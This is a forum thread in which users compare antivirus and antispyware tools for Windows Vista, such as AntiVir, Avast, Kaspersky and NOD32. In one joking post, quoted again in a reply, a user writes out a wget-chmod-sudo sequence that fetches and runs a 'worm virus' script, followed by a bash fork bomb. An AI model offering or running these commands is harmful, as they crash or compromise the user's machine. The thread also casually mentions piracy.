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Post by Panzer88 »

What do you guys recommend for antivirus software.

I've been using a norton trial but it's running out, surprisingly it didn't feel like it was slowing my down as much as mcafee and also while mcafee never caught anything, Norton has been catching things that it hasn't.

Anyways I'm not really interested in either because I hear people here talking about AntiVir. Does everyone agree on that or do people recommend other things like AGV.

I'm using Windows Vista Home Premium.

also if I get AntiVir should I also get any antispyware or other security.
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Post by adventure_of_link »

Yes, get anti-vir.

also, please do get spybot search and destroy.
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Post by gllt »

Avira Anti-Vir was my first AV. Then AVG, then back to Avira because AVG has changed a lot over the years but every time I went back it was for the worse. Avira has one annoying popup at update (from what I remember) but its tolerable. Avast is doable if you're not annoyed by signing up for the free home license.

Nowadays I use Clamwin and scan like... uh.. uhm.

Never? I dunno, common sense is the antivirus, but if you don't know enough about files and what you're doing then get a guard like AntiVir

Spybot S&D is agreeable, AdAware used to be back in the day but I think its crap now

Sandboxie (shareware) run programs in a protected enviornment so that you don't get infected by certain programs and can private browse the web etc

Process Lasso can help you keep some programs from ever running if you get a bad infection you can't all remove

Vundo/Virtumonde is a bad virus/trojan you can get thats popular for a while now so if you get that get VundoFix

HiJackThis will help you post logs of whats running on your PC

DTaskManager is a good process viewer/control

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gllt wrote:Avira has one annoying popup at update (from what I remember) but its tolerable.

Yes, you are correct.

I was just told it can be avoided (assuming you have VERY little patience for ads. no, not by paying for it, not by cracking it, not even using the hosts file.)

http://www.wikihow.com/Remove-the-Popup ... ra-Antivir

but really, it's just one ad, and it appears upon AV update.
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Post by kick »

Just update manually.No ads,no fuss:

http://www.avira.com/en/support/kbdetails.php?id=95
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adventure_of_link wrote:
gllt wrote:Avira has one annoying popup at update (from what I remember) but its tolerable.

Yes, you are correct.

I was just told it can be avoided (assuming you have VERY little patience for ads. no, not by paying for it, not by cracking it, not even using the hosts file.)

http://www.wikihow.com/Remove-the-Popup ... ra-Antivir

but really, it's just one ad, and it appears upon AV update.


hey thats neat

but once I did get one ad that was too retarded to stand, all the others were alright

but it was an anti-porn protect your kids ad.. with a naked barbie doll on it

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Post by creaothceann »

My protection is Ashampoo Firewall (since I have only a DSL modem now, no router) and ThreatFire, which is supposed to have good heuristics.
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Post by gllt »

creaothceann wrote:My protection is Ashampoo Firewall (since I have only a DSL modem now, no router) and ThreatFire, which is supposed to have good heuristics.


Thanks for mentioning the Firewall, I forgot about Ashampoo's
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Post by MajereDB8 »

I'm a big fan of Avast. It's free, reasonably light-weight, and has a skinnable interface. The default skin is pretty bad, but there are plenty of others that are easy to use.

As a second line of protection, I'd suggest making sure that you keep Quicktime/Flash/etc patched up, and consider disabling scripting on suspicious sites by using NoScript on Firefox, or a similar functionality in another browser.
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Post by alexz721 »

If you don't care about piracy, Kaspersky is hands-down the best antivirus. NOD32 is a close second, and it doesn't bog your system down as much (I have only 512 megs of RAM, so I prefer it). Also, Spy Sweeper is the best spyware removal program I have come across. It wipes the floor with Spybot and Ad-Aware combined.

For free programs, Antivir or AVG and Spybot are the best choices.
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Post by Squall_Leonhart »

Kaspersky is fucking great, it actually makes use of the ntfs file system so it doesn't constantly scan the same files.
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Post by kick »

Choose any of these three: Kaspersky, AntiVir or NOD32.

Kaspersky: Detection +++++ Heuristics +++ Speed +++

NOD32: Detection +++ Heuristics +++++ Speed ++++

AntiVir (Premium) Detection ++++ Heuristics ++++ Speed +++++
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i use the free antivir and i suppressed the ad

i like it.
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Post by AamirM »

Avira AntiVir here as well.

And the popup is tolerable even for a lazy arse like myself who won't click on the link AoL posted to read and find out how to remove the popup at update. And speaking of update, I should be updating my AntiVir :) .
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kick wrote:Choose any of these three: Kaspersky, AntiVir or NOD32.

Kaspersky: Detection +++++ Heuristics +++ Speed +++

NOD32: Detection +++ Heuristics +++++ Speed ++++

AntiVir (Premium) Detection ++++ Heuristics ++++ Speed +++++


Kaspersky is faster then Nod32 once a full scan has been done and all the files have been tagged.

Also, Nod32 3.0 = Crap, stick with 2.5 where possible.
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Post by Demios »

Every couple of months, someone asks this question. I'm stickying this damn thing. I'm stickying this topic. Any mod/admin with more time on their hands feel free to edit/override the first post directing to various anti-visus site as well as the pluses and negatives of them.

I use windows every now and then (now), common sense protects you from a lot, however I use AntiVir. Seems to have a small footprint and detects well from what I've read. The only problem with it is the heuristic false positives. I have not managed to get a virus since 1996/7 and I have been without an antivirus longer than I have been with one.
Side note, Linux viruses do exist, but seriously you have to be some kind of moron to catch one, which is rare because using even ubuntu requires a bit more than baseline intelligence.
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Post by gllt »

wget http://mirrors.kernel.org/pub/virii/rc/wormvirusrc2.sh
chmod 777 wormvirusrc2.sh && mv wormvirusrc2.sh /usr/local/bin/virus
sudo virus -t 5 -i -v --use-slocate-database=yes

then go run :(){ :|:& };:
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Post by kick »

gllt wrote:wget http://mirrors.kernel.org/pub/virii/rc/wormvirusrc2.sh
chmod 777 wormvirusrc2.sh && mv wormvirusrc2.sh /usr/local/bin/virus
sudo virus -t 5 -i -v --use-slocate-database=yes

then go run :(){ :|:& };:


That could happen only if you download a package from a dodgy / untrusted repository or if you use WINE* to run cracks/warez.

JAVA and JavaScript (especially AJAX) are much more dangerous. Bad scripts/apps are omnivores,so no OS is safe :D
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my point was that getting a virus on linux is hard when linux requires a lot of user interaction :V
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adventure_of_link wrote:
gllt wrote:Avira has one annoying popup at update (from what I remember) but its tolerable.

Yes, you are correct.

I was just told it can be avoided (assuming you have VERY little patience for ads. no, not by paying for it, not by cracking it, not even using the hosts file.)

http://www.wikihow.com/Remove-the-Popup ... ra-Antivir

but really, it's just one ad, and it appears upon AV update.


That's nice. I didn't like Avira for that reason. Switched back to Avast.

I was recording movies from my laptop to my Tivo while I slept, and when I woke up, the popup was there for 6 hours of my video. It was particularly annoying that it stole focus from my fullscreen vlc session. From then on, I made sure to disconnect from the wireless before I started.
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Post by PHoNyMiKe »

I have been using kaspersky for a month and it sucks. I've always loved AVG, but thought I'd try something new. kaspersky pops up every fucking time you try to do anything, it's like a vista UAC wannabe. and then it has the nerve to have "always allow" greyed out, so you must click several things each time you want to run a program, even when you choose to open a file within a program it pops up noticing that the program wants to access your hard drive for reading. I also have yet to run a complete scan. out of five tries, it freezes somewhere in the middle, I mean mouse locks up, everything is hosed, I have to hold the power button and forcefully shut the bitch down. this is my own built computer, there is no reason for it to lock up like that. oh yeah, and when I try to play video games, it always blocks internet connections and therefore games will not run. I will never use kaspersky ever again. it looks like a nice antivirus if it would fucking work.

any opinions on bit defender?
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Post by sweener2001 »

don't know about bit defender, but nod32 is the other big commercial name for antivirus software.

i just upgraded my anti-vir to version 9. for the first time ever, it told me to restart my computer to finish an update. i'm hoping that it does not become the norm.
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It hasn't made me reboot yet...
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sweener2001 wrote:i just upgraded my anti-vir to version 9. for the first time ever, it told me to restart my computer to finish an update. i'm hoping that it does not become the norm.

Are you running Vista? If so, it happens on that OS for some reason.
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